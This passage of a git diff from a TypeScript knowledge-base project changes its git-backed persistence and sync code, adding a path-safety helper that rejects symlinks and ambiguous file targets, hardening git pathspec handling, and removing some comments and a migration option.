@@ -1,33 +1,3 @@
-/**
- * Embedding-key validation at `gbrain init` (issue #1780 Gap 2).
- *
- * Before this, `gbrain init` persisted `--embedding-model` to config.json but
- * never checked the provider key was present/working. The failure surfaced only
- * at first sync (`embedBatch` throws, pages import but `embedded=0`), and
- * combined with Gap 1 the call graph silently never built.
- *
- * This runs two checks at init time, both non-fatal (loud warning, init still
- * exits 0 — `--no-embedding` is the deferred-setup escape hatch):
- * 1. `diagnoseEmbedding()` — config-only, zero-network. Catches a missing key
- * for ANY provider.
- * 2. `liveTestEmbed()` — a best-effort 1-token embed (5s timeout) when a key
- * IS present. Catches invalid/expired keys. Network/timeout/offline →
- * warn only, never blocks.
- *
- * Both run against the EFFECTIVE gateway config — process.env overlaid with
- * every file-plane provider key config.json carries (openai / anthropic /
- * voyage / zeroentropy / dashscope / google — whatever buildGatewayConfig
- * folds, #2662) and `opts.apiKey`, plus provider base URLs — built via the
- * same `buildGatewayConfig` runtime uses. Without that, the config-only check would
- * false-warn on config.json-keyed users, and the live probe could hit the
- * wrong endpoint (custom OpenAI base URL, llama-server, etc.).
- *
- * Skips entirely on `--no-embedding`, `--skip-embed-check`, or
- * `GBRAIN_INIT_SKIP_EMBED_CHECK=1`. Warnings go to stderr; the caller folds the
- * returned `InitEmbedCheckResult` into init's `--json` envelope as
- * `embedding_check`.
- */
-
import type { GBrainConfig } from './config.ts';
import { loadConfigFileOnly } from './config.ts';
import { buildGatewayConfig } from './ai/build-gateway-config.ts';
diff --git a/src/core/migrate.ts b/src/core/migrate.ts
index 1fe9014566..3fe3c20bed 100644
--- a/src/core/migrate.ts
+++ b/src/core/migrate.ts
@@ -6217,15 +6217,6 @@ export const MIGRATIONS: Migration[] = [
{
version: 142,
name: 'takes_embedding_dimension_matches_config',
- // #2089: takes was created with a hard-coded vector(1536), while the
- // configured embedding model can emit another width (for example the
- // default zembed-1 2560d). The vector writer cannot be useful until the
- // column shares the configured dimension with content_chunks/facts.
- // Renumbered v141 → v142: the wave-k branch shipped this AS v141 while
- // master consumed v141 for extract_rollup_expected_limit (#4482), so a
- // brain that ran the branch pre-merge recorded version 141 and would
- // skip master's v141 forever. The guarded DDL below re-applies it here
- // as a redundant first statement — idempotent, a no-op on fresh paths.
idempotent: true,
sql: '',
handler: async (engine) => {
diff --git a/src/core/minions/queue.ts b/src/core/minions/queue.ts
index 33b178f2e6..38bb7ccbda 100644
--- a/src/core/minions/queue.ts
+++ b/src/core/minions/queue.ts
@@ -262,9 +262,6 @@ export class MinionQueue {
);
}
if (verdict === 'unknown') {
- // v0.46.3: derive the provider list from the recipe registry instead
- // of a hardcoded string (which drifted silently as recipes came and
- // went — and would have needed editing again at the ZE removal).
const { listRecipes } = await import('../ai/recipes/index.ts');
const known = listRecipes().map((r) => r.id).join(', ');
throw new Error(
diff --git a/src/core/ops/embedding-migration.ts b/src/core/ops/embedding-migration.ts
index 293b19fa6d..642cacca32 100644
--- a/src/core/ops/embedding-migration.ts
+++ b/src/core/ops/embedding-migration.ts
@@ -22,7 +22,6 @@ const migrate_embeddings: Operation = {
dim: { type: 'number', description: "Target dimensions. Defaults to the provider recipe's declared width; required when the recipe declares none." },
dry_run: { type: 'boolean', description: 'Plan + cost estimate only; change nothing.' },
yes: { type: 'boolean', description: 'Confirm the re-embed spend + destructive schema change. Required for a live run.' },
- force_sunset_target: { type: 'boolean', description: 'Allow migrating ONTO a provider with an announced shutdown (self-hosted wire-compatible endpoints).' },
retarget: { type: 'boolean', description: 'Abandon a DIFFERENT in-flight migration target and start this one (the abandoned target is recorded in the marker history).' },
reranker: { type: 'string', description: 'Reranker companion action: auto (default), off, keep, or an explicit provider:model (e.g. voyage:rerank-2.5). Reranker config lives on the DB plane.' },
},
@@ -46,7 +45,6 @@ const migrate_embeddings: Operation = {
const planCtx = await planMigrationFlow(ctx.engine, {
to,
...(dim !== undefined && { dim }),
- ...(p.force_sunset_target === true && { forceSunsetTarget: true }),
...(typeof p.reranker === 'string' && { reranker: p.reranker }),
});
const plan = planCtx.plan;
@@ -68,7 +66,6 @@ const migrate_embeddings: Operation = {
const result = await executeMigrationFlow(ctx.engine, planCtx, {
to,
...(dim !== undefined && { dim }),
- ...(p.force_sunset_target === true && { forceSunsetTarget: true }),
...(p.retarget === true && { retarget: true }),
...(typeof p.reranker === 'string' && { reranker: p.reranker }),
quiet: true,
diff --git a/src/core/page-state/projections.ts b/src/core/page-state/projections.ts
index 59be1c1d02..1d02f34dfe 100644
--- a/src/core/page-state/projections.ts
+++ b/src/core/page-state/projections.ts
@@ -114,7 +114,7 @@ export async function installPageProjection(engine: BrainEngine, prepared: Proje
await tx.executeRaw(`DELETE FROM content_chunks WHERE page_id=$1 AND NOT(id=ANY($2::int[]))`, [snapshot.page.id, matching]);
await tx.executeRaw(`UPDATE content_chunks SET ${quoteIdentifier(context.column.name)}=NULL,
embedded_at=NULL,embedded_text_hash=NULL WHERE page_id=$1 AND
- (model IS DISTINCT FROM $2 OR embedded_text_hash IS DISTINCT FROM md5(chunk_text) OR $3::boolean)`,
+ (model IS DISTINCT FROM $2 OR embedded_text_hash <> md5(chunk_text) OR $3::boolean)`,
[snapshot.page.id, context.column.name === 'embedding' ? context.model : context.column.embeddingModel,
![null, undefined, 'none'].includes(snapshot.page.contextual_retrieval_mode)]);
} else if (opts.seal) await tx.deleteChunks(slug, { sourceId });
diff --git a/src/core/persistence/effect-git.ts b/src/core/persistence/effect-git.ts
index beebb4cbc4..b2193144e0 100644
--- a/src/core/persistence/effect-git.ts
+++ b/src/core/persistence/effect-git.ts
@@ -1,15 +1,17 @@
import { execFile } from 'node:child_process';
-import { mkdirSync, mkdtempSync, rmSync } from 'node:fs';
-import { join } from 'node:path';
+import { existsSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs';
+import { dirname, join, relative, resolve as resolvePath, sep } from 'node:path';
import { isDurabilityHardened } from '../brain-repo-durability.ts';
import { OperationError } from '../ops/contract.ts';
import { persistenceHome } from './identity.ts';
+import { nativeFileTarget } from './native-file-target.ts';
function git(root: string, hooks: string, args: string[], signal?: AbortSignal): Promise<{ stdout: string; code: number }> {
return new Promise((resolve, reject) => {
- execFile('git', ['-C', root, '-c', `core.hooksPath=${hooks}`, '-c', 'commit.gpgsign=false', ...args], {
+ execFile('git', ['--literal-pathspecs', '-C', root, '-c', `core.hooksPath=${hooks}`, '-c', 'commit.gpgsign=false', ...args], {
encoding: 'utf8', timeout: 20_000, maxBuffer: 1024 * 1024, signal,
- env: { ...process.env, GIT_TERMINAL_PROMPT: '0', GCM_INTERACTIVE: 'Never' },
+ env: { ...process.env, GIT_TERMINAL_PROMPT: '0', GCM_INTERACTIVE: 'Never',
+ GIT_GLOB_PATHSPECS: '0', GIT_NOGLOB_PATHSPECS: '0', GIT_ICASE_PATHSPECS: '0' },
}, (error, stdout) => {
if (error && (error.killed || typeof error.code !== 'number')) reject(new OperationError('git_unavailable', 'Git execution did not finish within its bounded attempt.'));
else resolve({ stdout, code: error?.code as number ?? 0 });
@@ -20,17 +22,22 @@ function git(root: string, hooks: string, args: string[], signal?: AbortSignal):
/** Caller owns the native worktree lock. Never run pull, rebase, or legacy hooks. */
export async function publishGitEffect(root: string, relativePath: string, signal?: AbortSignal): Promise<Record<string, unknown>> {
if (!isDurabilityHardened(root)) return { git: 'skipped', reason: 'durability_not_enabled', push: 'skipped' };
+ const path = nativeFileTarget(root, resolvePath(root, relativePath), 'git_target_unsafe');
+ relativePath = relative(root, path).split(sep).join('/');
const base = join(persistenceHome(), 'empty-hooks');
mkdirSync(base, { recursive: true, mode: 0o700 });
const hooks = mkdtempSync(join(base, 'effect-'));
try {
- const tracked = await git(root, hooks, ['ls-files', '--error-unmatch', '--', relativePath], signal);
+ const tracked = await git(root, hooks, ['ls-files', '-z', '--error-unmatch', '--', relativePath], signal);
+ if (tracked.code !== 0 && tracked.code !== 1) throw new OperationError('git_unavailable', 'Cannot inspect the canonical Git target.');
const changed = await git(root, hooks, ['status', '--porcelain', '--untracked-files=all', '--', relativePath], signal);
if (changed.code !== 0) throw new OperationError('git_unavailable', 'Cannot inspect the canonical Git target.');
let commit = 'unchanged';
if (changed.stdout.trim()) {
- const add = await git(root, hooks, ['add', '-A', '--', relativePath], signal);
- if (add.code !== 0) throw new OperationError('git_unavailable', 'Cannot stage the canonical Git target.');
+ if (tracked.code === 0 || existsSync(path)) {
+ const add = await git(root, hooks, ['add', '-A', '--', relativePath], signal);
+ if (add.code !== 0) throw new OperationError('git_unavailable', 'Cannot stage the canonical Git target.');
+ }
const diff = await git(root, hooks, ['diff', '--cached', '--quiet', '--', relativePath], signal);
if (diff.code === 1) {
// --only keeps unrelated staged paths out of this commit. After a lost
@@ -39,7 +46,30 @@ export async function publishGitEffect(root: string, relativePath: string, signa
if (result.code !== 0) throw new OperationError('git_unavailable', 'Cannot commit the canonical Git target.');
commit = 'committed';
} else if (diff.code !== 0) throw new OperationError('git_unavailable', 'Cannot compare the canonical Git target.');
- } else if (tracked.code !== 0) return { git: 'skipped', reason: 'target_absent', push: 'skipped' };
+ } else if (tracked.code !== 0) {
+ if (existsSync(path)) throw new OperationError('git_target_unsafe', 'Git cannot identify the existing canonical file by its native spelling.',
+ 'Reconcile the index and worktree spelling before retrying publication.');
+ let parent = dirname(path);
+ while (!existsSync(parent)) {
+ if (parent === resolvePath(root)) throw new OperationError('git_target_unsafe', 'The canonical Git root disappeared.');
+ parent = dirname(parent);
+ }
+ const scope = relative(root, parent).split(sep).join('/') || '.';
+ const deleted = await git(root, hooks, ['diff', '--name-only', '--diff-filter=D', '--no-renames', '-z', '--', scope], signal);
+ const staged = await git(root, hooks, ['diff', '--cached', '--name-only', '--diff-filter=D', '--no-renames', '-z', '--', scope], signal);
+ if (deleted.code !== 0 || staged.code !== 0) throw new OperationError('git_unavailable', 'Cannot inspect canonical Git deletions.');
+ for (const entry of new Set(`${deleted.stdout}${staged.stdout}`.split('\0').filter(Boolean))) {
+ if (existsSync(join(root, entry))) continue;
+ let missingParent = dirname(nativeFileTarget(root, join(root, entry), 'git_target_unsafe'));
+ while (!existsSync(missingParent)) {
+ if (missingParent === resolvePath(root)) throw new OperationError('git_target_unsafe', 'The canonical Git root disappeared.');
+ missingParent = dirname(missingParent);
+ }
+ if (missingParent === parent) throw new OperationError('git_target_unsafe', 'The absent target cannot be distinguished from an indexed deletion.',
+ 'Reconcile the recorded deletion path with the Git index before retrying publication.');
+ }
+ return { git: 'skipped', reason: 'target_absent', push: 'skipped' };
+ }
const branch = await git(root, hooks, ['symbolic-ref', '--quiet', '--short', 'HEAD'], signal);
if (branch.code !== 0) return { git: commit, push: 'skipped', reason: 'no_tracking_remote' };
const remote = await git(root, hooks, ['config', '--get', `branch.${branch.stdout.trim()}.remote`], signal);
diff --git a/src/core/persistence/effects.ts b/src/core/persistence/effects.ts
index 8a3c8a6b77..be7f94f81d 100644
--- a/src/core/persistence/effects.ts
+++ b/src/core/persistence/effects.ts
@@ -29,6 +29,7 @@ import { dispatchFactsBackstopEffect } from './effect-facts.ts';
import type { EffectRecovery, PersistenceEffect } from './effect-model.ts';
import { recoveryStagingFile } from './staging.ts';
import { selectEffectRecoveries } from './effect-recovery-scan.ts';
+import { nativeFileTarget } from './native-file-target.ts';
export interface EffectWorkerOptions {
hostId: string;
@@ -105,6 +106,7 @@ async function gitPage(engine: BrainEngine, effect: PersistenceEffect, binding:
if (!effect.data.relative_path) throw new OperationError('storage_error', 'The Git effect lost its target.');
path = join(binding.local_path, effect.data.relative_path);
if (!isWriteTargetContained(path, join(binding.local_path, binding.relative_path))) throw new OperationError('source_changed', 'The Git target escaped its registered source.');
+ path = nativeFileTarget(binding.local_path, path, 'git_target_unsafe');
if (persistenceFileHash(path) !== effect.data.expected_hash) { await completeEffect(engine, effect, { git: 'superseded' }); return; }
}
if (!isWriteTargetContained(path, join(binding.local_path, binding.relative_path))) throw new OperationError('source_changed', 'The Git target escaped its registered source.');
diff --git a/src/core/persistence/native-file-target.ts b/src/core/persistence/native-file-target.ts
new file mode 100644
index 0000000000..3844983d15
--- /dev/null
+++ b/src/core/persistence/native-file-target.ts
@@ -0,0 +1,53 @@
+import { lstatSync, readdirSync, realpathSync, statSync, type BigIntStats } from 'node:fs';
+import { isAbsolute, join, relative, resolve, sep } from 'node:path';
+import { OperationError } from '../ops/contract.ts';
+
+export function nativeFileTarget(root: string, target: string, code?: string): string {
+ const unsafe = () => new OperationError(code ?? 'source_changed', 'The canonical file target has no unambiguous native identity.',
+ 'Reconcile the recorded file path with the registered worktree before retrying publication.');
+ const inaccessible = () => new OperationError(code ?? 'storage_error', 'The canonical file target cannot be accessed as a regular file.',
+ 'Repair the filesystem obstruction or permissions before submitting a new publication request.');
+ try {
+ const localRoot = resolve(root);
+ const path = relative(localRoot, resolve(target));
+ if (!path || isAbsolute(path) || path.split(sep).includes('..')) throw unsafe();
+ const physicalRoot = realpathSync(localRoot);
+ const rootInfo = statSync(physicalRoot, { bigint: true });
+ if (!rootInfo.isDirectory()) throw unsafe();
+ const segments = path.split(sep);
+ const names: string[] = [];
+ let parent = physicalRoot;
+ for (let i = 0; i < segments.length; i++) {
+ const name = segments[i];
+ let info: BigIntStats;
+ try { info = lstatSync(join(parent, name), { bigint: true }); }
+ catch (error) {
+ if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error;
+ names.push(...segments.slice(i));
+ break;
+ }
+ if (info.isSymbolicLink()) throw unsafe();
+ if (i < segments.length - 1 ? !info.isDirectory() : !info.isFile()) throw inaccessible();
+ const entries = readdirSync(parent);
+ let actual = name;
+ if (!entries.includes(name)) {
+ if (!info.ino) throw unsafe();
+ const matches = entries.filter(entry => {
+ const candidate = lstatSync(join(parent, entry), { bigint: true });
+ return candidate.dev === info.dev && candidate.ino === info.ino && candidate.mode === info.mode;
+ });
+ if (matches.length !== 1) throw unsafe();
+ actual = matches[0];
+ }
+ names.push(actual);
+ parent = join(parent, actual);
+ }
+ const current = statSync(localRoot, { bigint: true });
+ if (realpathSync(localRoot) !== physicalRoot || current.dev !== rootInfo.dev || current.ino !== rootInfo.ino
+ || current.birthtimeNs !== rootInfo.birthtimeNs) throw unsafe();
+ return join(localRoot, ...names);
+ } catch (error) {
+ if (error instanceof OperationError) throw error;
+ throw inaccessible();
+ }
+}
diff --git a/src/core/persistence/ownership.ts b/src/core/persistence/ownership.ts
index b5658f103e..257a0fd56c 100644
--- a/src/core/persistence/ownership.ts
+++ b/src/core/persistence/ownership.ts
@@ -10,7 +10,7 @@ import type { SqlEngine, WriteRequest } from './model.ts';
import { acquireNativeLock, tryAcquireNativeLock, type NativeLockHandle } from './native-lock.ts';
import { managedFilesystemDatastorePath, refreshManagedFilesystemRoots } from './filesystem-guard.ts';
import { assertPhysicalRoot, claimPhysicalRoot, isPhysicalRootMetadata, preparePhysicalRootTransfer, readPhysicalRootReservation } from './physical-root.ts';
-import { canonicalFilesystemPath } from './root-registry.ts';
+import { canonicalFilesystemPath, nativeFilesystemPath } from './root-registry.ts';
import { assertWriterAdminState } from './admin-intent.ts';
import { inspectPhysicalRootRecovery, repairPhysicalRoot, type PhysicalRootRecovery } from './physical-root-recovery.ts';
@@ -99,7 +99,8 @@ export async function claimWorktree(engine: BrainEngine, sourceId: string, path:
VALUES($1::uuid,$2::uuid,$3,$4)`, [id, hostId, root, physical.coordinationPath]);
}
await tx.executeRaw(`INSERT INTO persistence_source_bindings(source_id,source_incarnation,worktree_id,relative_path)
- VALUES($1,$2::uuid,$3::uuid,$4)`, [sourceId, source.incarnation, id, relative(root, sourceRoot).split(sep).join('/')]);
+ VALUES($1,$2::uuid,$3::uuid,$4)`, [sourceId, source.incarnation, id,
+ relative(nativeFilesystemPath(root), nativeFilesystemPath(sourceRoot)).split(sep).join('/')]);
await refreshManagedFilesystemRoots(tx, managedFilesystemDatastorePath(engine));
});
return (await getWorktreeBinding(engine, sourceId, hostId))!;
diff --git a/src/core/persistence/page-prepare.ts b/src/core/persistence/page-prepare.ts
index 348a3075ea..64fd9e68ec 100644
--- a/src/core/persistence/page-prepare.ts
+++ b/src/core/persistence/page-prepare.ts
@@ -27,6 +27,7 @@ import { isAutoLinkEnabled } from '../link-extraction.ts';
import { prepareAutomaticLinks } from './links-preparation.ts';
import { preparePageAdvisories, remoteLinkHint, pageNoopAdvisories } from './page-advisories.ts';
import { assertKnowledgePublicationAllowed } from '../shared-skills/knowledge-guard.ts';
+import { nativeFileTarget } from './native-file-target.ts';
const PURGE_RESIDUALS = 'Brain-repo git history, synced working-tree copies, exports, compiled context files and slug-keyed derived rows (takes, open loops, file records) may still hold the content — rotate the credential and rewrite or regenerate those copies.';
@@ -67,8 +68,8 @@ export async function prepareFileTarget(engine: BrainEngine, row: Pick<WriteRequ
if (!binding?.local_path) throw new OperationError('owner_unavailable', 'The canonical worktree is unavailable on this host.');
const root = join(binding.local_path, binding.relative_path);
const capturedPath = recordedPathFromFileUri(snapshot?.page.source_uri, root);
- const path = resolveSourceLocalFilePath(root, snapshot?.page.source_path, row.slug)
- ?? (capturedPath ? join(root, capturedPath) : join(root, `${row.slug}.md`));
+ const path = nativeFileTarget(root, resolveSourceLocalFilePath(root, snapshot?.page.source_path, row.slug)
+ ?? (capturedPath ? join(root, capturedPath) : join(root, `${row.slug}.md`)));
if (!isWriteTargetContained(path, root)) throw new OperationError('source_changed', 'The canonical file target is outside its registered source.');
const before = existsSync(path) ? readFileSync(path) : null;
if (!before && snapshot && !snapshot.page.deleted_at && !options.allowMissing) {
diff --git a/src/core/persistence/root-registry.ts b/src/core/persistence/root-registry.ts
index 974f76b2fd..df22c95db9 100644
--- a/src/core/persistence/root-registry.ts
+++ b/src/core/persistence/root-registry.ts
@@ -71,10 +71,16 @@ export function hasManagedRootMarker(path: string): boolean {
}
/** Resolve existing ancestors too, so an alias to a managed tree cannot bypass the fence. */
export function canonicalFilesystemPath(path: string): string {
+ return resolveFilesystemPath(path, realpathSync);
+}
+export function nativeFilesystemPath(path: string): string {
+ return resolveFilesystemPath(path, realpathSync.native);
+}
+function resolveFilesystemPath(path: string, realpath: (path: string) => string): string {
let current = resolve(path);
const missing: string[] = [];
for (;;) {
- try { return resolve(realpathSync(current), ...missing.reverse()); }
+ try { return resolve(realpath(current), ...missing.reverse()); }
catch (error) {
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error;
const parent = dirname(current);
diff --git a/src/core/persistence/source-lifecycle.ts b/src/core/persistence/source-lifecycle.ts
index 321a389369..8c44c41427 100644
--- a/src/core/persistence/source-lifecycle.ts
+++ b/src/core/persistence/source-lifecycle.ts
@@ -15,7 +15,7 @@ import { priorTopologyChange, recordTopologyChange, topologyReceipt } from './to
import { isWriteRequestId } from './types.ts';
import { withCoordinatedWrite } from './context.ts';
import { managedFilesystemDatastorePath, refreshManagedFilesystemRoots } from './filesystem-guard.ts';
-import { canonicalFilesystemPath } from './root-registry.ts';
+import { canonicalFilesystemPath, nativeFilesystemPath } from './root-registry.ts';
import { flushTopologyDirectory } from './topology-filesystem.ts';
import { claimPhysicalRoot } from './physical-root.ts';
import { assertWriterAdminState, WRITER_INSPECTION_HINT } from './admin-intent.ts';
@@ -46,7 +46,8 @@ export async function installTopologyBinding(tx:BrainEngine,sourceId:string,inca
const others=await tx.executeRaw<{source_id:string;relative_path:string;local_path:string}>(`SELECT b.source_id,b.relative_path,h.local_path
FROM persistence_source_bindings b JOIN persistence_host_bindings h ON h.worktree_id=b.worktree_id AND h.host_id=$1::uuid
WHERE b.source_id<>$2`,[localHostId(),sourceId]);
- if(others.some(other=>{const path=join(other.local_path,other.relative_path);return containsPath(path,root.source)||containsPath(root.source,path);}))
+ const sourcePath=nativeFilesystemPath(root.source);
+ if(others.some(other=>{const path=nativeFilesystemPath(join(other.local_path,other.relative_path));return containsPath(path,sourcePath)||containsPath(sourcePath,path);}))
throw new OperationError('overlapping_path','Sources cannot claim overlapping canonical directories.');
const compatible=bindings.find(binding=>binding.local_path && containsPath(binding.local_path,root.worktree));
const overlapping=bindings.find(binding=>binding.local_path && containsPath(root.worktree,binding.local_path));
@@ -59,7 +60,7 @@ export async function installTopologyBinding(tx:BrainEngine,sourceId:string,inca
if(!existing)await tx.executeRaw('INSERT INTO persistence_worktrees(id,owner_host_id,owner_epoch) VALUES($1::uuid,$2::uuid,1)',[id,localHostId()]);
await tx.executeRaw(`INSERT INTO persistence_host_bindings(worktree_id,host_id,local_path,coordination_path) VALUES($1::uuid,$2::uuid,$3,$4)
ON CONFLICT(worktree_id,host_id) DO NOTHING`,[id,localHostId(),worktree,physical.coordinationPath]);
- const rel=relative(worktree,root.source).split(sep).join('/');
+ const rel=relative(nativeFilesystemPath(worktree),nativeFilesystemPath(root.source)).split(sep).join('/');
await tx.executeRaw(`INSERT INTO persistence_source_bindings(source_id,source_incarnation,worktree_id,relative_path,topology_generation)
SELECT $1,$2::uuid,$3::uuid,$4,topology_generation FROM persistence_worktrees WHERE id=$3::uuid
ON CONFLICT(source_id) DO UPDATE SET source_incarnation=EXCLUDED.source_incarnation,worktree_id=EXCLUDED.worktree_id,
@@ -122,13 +123,15 @@ export async function runManagedSourceLifecycle(engine:BrainEngine,input:SourceL
if(['remove','purge'].includes(input.operation)&&!input.confirmDestructive) throw new OperationError('invalid_params','Source removal requires explicit destructive confirmation.');
const worktrees=bindings.map(binding=>binding.worktree_id);
const currentBinding=bindings.find(binding=>binding.source_id===input.sourceId);
- if(input.operation==='claim'&&currentBinding&&(currentBinding.local_path!==root!.worktree||join(currentBinding.local_path,currentBinding.relative_path)!==root!.source))
+ const sameBinding=!!root&&!!currentBinding?.local_path&&currentBinding.local_path===root.worktree
+ &&nativeFilesystemPath(join(currentBinding.local_path,currentBinding.relative_path))===nativeFilesystemPath(root.source);
+ if(input.operation==='claim'&&currentBinding&&!sameBinding)
throw new OperationError('writer_transfer_required','The source already has a different canonical binding. Use rebind or verified ownership transfer.');
if(input.operation==='claim'&&!currentBinding&&source?.local_path&&realpathSync(source.local_path)!==root!.source)
throw new OperationError('source_changed','The requested claim path differs from the configured source root.');
const expired=input.expiredOnly?await tx.executeRaw('SELECT id FROM sources WHERE id=$1 AND archived=true AND archive_expires_at<=now()',[input.sourceId]):null;
const noop=expired?.length===0 || input.operation==='archive'&&source?.archived || input.operation==='restore'&&!source?.archived
- || input.operation==='claim'&&!!currentBinding || input.operation==='rebind'&&currentBinding?.local_path===root!.worktree&&join(currentBinding.local_path,currentBinding.relative_path)===root!.source;
+ || input.operation==='claim'&&!!currentBinding || input.operation==='rebind'&&sameBinding;
if(noop){
await lockTopologyPrincipal(tx,principal);
return topologyReceipt(await recordTopologyChange(tx,{principal,requestId,intent,operation:input.operation,sourceId:input.sourceId,incarnation:source!.incarnation,worktrees},
diff --git a/src/core/persistence/sync-authority.ts b/src/core/persistence/sync-authority.ts
index 770f773091..071a44aa2c 100644
--- a/src/core/persistence/sync-authority.ts
+++ b/src/core/persistence/sync-authority.ts
@@ -3,7 +3,9 @@ import type { SyncOpts } from '../../commands/sync.ts';
import type { BrainEngine } from '../engine.ts';
import type { OperationContext } from '../ops/contract.ts';
import { OperationError } from '../ops/contract.ts';
-import { currentSubmissionAuthority, authorizeJobExecution, assertCurrentRemoteJobPrincipal, authorityDigest, type RemoteJobAuthority } from '../minions/submission-authority.ts';
+import { currentSubmissionAuthority, currentJobSignal, authorizeJobExecution, assertCurrentRemoteJobPrincipal, authorityDigest, type RemoteJobAuthority } from '../minions/submission-authority.ts';
+import { assertSourceFilesystemActive } from '../minions/source-filesystem.ts';
+import { throwIfAborted } from '../abort-check.ts';
import { authorizePageVisibility } from './page-visibility.ts';
import { submissionAuthority, authorizeWrite } from './authority.ts';
import { currentVerifiedLocalWriter, registerLocalWriter } from './identity.ts';
@@ -17,6 +19,32 @@ function assertDurableSyncCaller(): void {
}
export interface SyncAuthority { writer: WriteAuthority; remoteJob?: RemoteJobAuthority; remoteData?: Record<string, unknown>; }
+export interface SyncProcessingOptions { noEmbed: boolean; noExtract: boolean; noSchemaPack: boolean; }
+export function syncProcessingOptions(opts: SyncOpts): SyncProcessingOptions {
+ return { noEmbed: opts.noEmbed === true, noExtract: opts.noExtract === true, noSchemaPack: opts.noSchemaPack === true };
+}
+export function assertSyncDispatchActive(): void {
+ assertSourceFilesystemActive(true);
+ throwIfAborted(currentJobSignal());
+}
+export async function resolveSyncPersistenceMode(engine: BrainEngine, opts: SyncOpts): Promise<boolean> {
+ const [brain] = await engine.executeRaw<{ enabled: boolean }>('SELECT enabled FROM persistence_brain WHERE singleton=1');
+ assertSyncDispatchActive();
+ if (brain?.enabled || opts.signal?.aborted) return brain?.enabled === true;
+ const [source] = await engine.executeRaw<{ claimed: boolean }>(`SELECT
+ EXISTS(SELECT 1 FROM persistence_source_bindings WHERE source_id=s.id) AS claimed
+ FROM sources s WHERE s.id=$1`, [opts.sourceId ?? 'default']);
+ if (source?.claimed) {
+ throw new OperationError('writer_coordinator_required', 'Claimed-source sync, including connectors, requires explicit persistence activation.',
+ 'Stop older writers and review gbrain sources writer status, then explicitly activate persistence before retrying. Claiming a source alone does not exclude running legacy writers.');
+ }
+ return false;
+}
+export async function assertManagedSyncActive(engine: BrainEngine, lock = false): Promise<void> {
+ const [brain] = await engine.executeRaw<{ enabled: boolean }>(`SELECT enabled FROM persistence_brain WHERE singleton=1${lock ? ' FOR SHARE' : ''}`);
+ if (!brain?.enabled) throw new OperationError('writer_coordinator_required', 'Sync cannot publish through an inactive persistence coordinator.',
+ 'Stop older writers and review gbrain sources writer status, then explicitly activate persistence before retrying. Claiming a source alone does not exclude running legacy writers.');
+}
export async function managedSyncAuthority(engine: BrainEngine, sourceId: string, incarnation: string, repoPath: string): Promise<SyncAuthority> {
assertDurableSyncCaller();
const current = currentSubmissionAuthority();
diff --git a/src/core/persistence/sync-discovery.ts b/src/core/persistence/sync-discovery.ts
index 1915a2089b..917c7b857c 100644
--- a/src/core/persistence/sync-discovery.ts
+++ b/src/core/persistence/sync-discovery.ts
@@ -14,6 +14,8 @@ import { localHostId } from './identity.ts';
import { sha256 } from './digest.ts';
import { currentCompanyBrainSync } from '../company-brain/profile.ts';
import type { CompanyBrainPlan } from '../company-brain/types.ts';
+import { assertDistinctSyncOrigins, syncOriginPath } from './sync-origin.ts';
+import { assertManagedSyncActive } from './sync-authority.ts';
export interface SyncEntry { path: string; sourcePath: string; action: 'import' | 'delete'; working: boolean; slug?: string; pageId?: number | null; revision?: string | null; }
export interface SyncDiscovery { binding: WorktreeBinding; root: string; gitRoot: string; sourceId: string; incarnation: string;
@@ -42,8 +44,45 @@ export function readSyncFile(root: string, path: string): Buffer | null {
} catch (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return null; throw error; }
}
export const syncRawHash = (root: string, path: string): string | null => { const bytes = readSyncFile(root, path); return bytes === null ? null : sha256(bytes); };
+export function assertConfiguredSyncRoot(root: string, configuredRoot: string | null): void {
+ if (configuredRoot === null) return;
+ try { if (realpathSync.native(resolve(configuredRoot)) === realpathSync.native(root) && realpathSync(root) === root) return; } catch {}
+ throw new OperationError('source_changed', 'The configured source directory no longer matches the accepted sync owner.');
+}
+function syncGitPath(context: Pick<SyncDiscovery, 'root' | 'gitRoot'>, path: string): string {
+ return relative(realpathSync.native(context.gitRoot), resolve(realpathSync.native(context.root), path)).split(sep).join('/');
+}
+export function assertSyncEntryOrigin(context: Pick<SyncDiscovery, 'root' | 'gitRoot' | 'target' | 'slugMode'>,
+ entry: Pick<SyncEntry, 'path' | 'sourcePath' | 'action'> & { working?: boolean }): void {
+ const gitPath = syncGitPath(context, entry.path);
+ const expected = context.slugMode === 'source-root' ? relative(context.root, resolve(context.root, entry.path)).split(sep).join('/') : gitPath;
+ const origin = syncOriginPath(entry.sourcePath);
+ if (origin !== syncOriginPath(expected)) throw new OperationError('page_identity_changed', 'The sync path does not match its accepted origin.');
+ if (entry.action !== 'delete') return;
+ if (typeof entry.working !== 'boolean') throw new OperationError('page_identity_changed', 'The legacy deletion does not identify its Git or working-tree origin.',
+ 'Inspect the source identity, then explicitly retry failed sync discovery; the accepted request has not been rewritten.');
+ if (entry.working === true) {
+ if (readSyncFile(context.root, entry.path) !== null) throw new OperationError('source_changed', 'The working-tree deletion no longer exists.');
+ return;
+ }
+ let tree = context.target;
+ const parts = syncOriginPath(gitPath).split('/');
+ for (const [index, part] of parts.entries()) {
+ const matches = syncGit(context.gitRoot, ['ls-tree', '-z', tree]).split('\0').filter(Boolean).map(row => {
+ const tab = row.indexOf('\t'), [mode, kind, object] = row.slice(0, tab).split(' ');
+ return { mode, kind, object, name: row.slice(tab + 1) };
+ }).filter(item => item.name === part || process.platform === 'win32' && item.name.toLowerCase() === part.toLowerCase());
+ if (!matches.length) return;
+ if (matches.length !== 1 || index === parts.length - 1 || matches[0].kind !== 'tree') {
+ throw new OperationError('page_identity_changed', 'The pinned Git target still contains or aliases the origin selected for deletion.',
+ 'Inspect the source identity, then explicitly retry failed sync discovery; the accepted request has not been rewritten.');
+ }
+ tree = matches[0].object;
+ }
+}
/** Validate the current owner and source without enumerating a new manifest. */
export async function resolveManagedSyncContext(engine: BrainEngine, opts: SyncOpts): Promise<ManagedSyncContext> {
+ await assertManagedSyncActive(engine);
if (!opts.noPull && !opts.dryRun) throw new OperationError('writer_coordinator_required', 'Managed sync requires --no-pull; Git pull/rebase needs an explicit drained maintenance window.');
if (opts.includeGitignored || opts.skipFailed) throw new OperationError('writer_coordinator_required', 'Managed sync cannot bypass ignored-file or failed-receipt guards.');
const sourceId = opts.sourceId ?? 'default';
@@ -57,9 +96,10 @@ export async function resolveManagedSyncContext(engine: BrainEngine, opts: SyncO
const registeredRoot = resolve(binding.local_path, binding.relative_path);
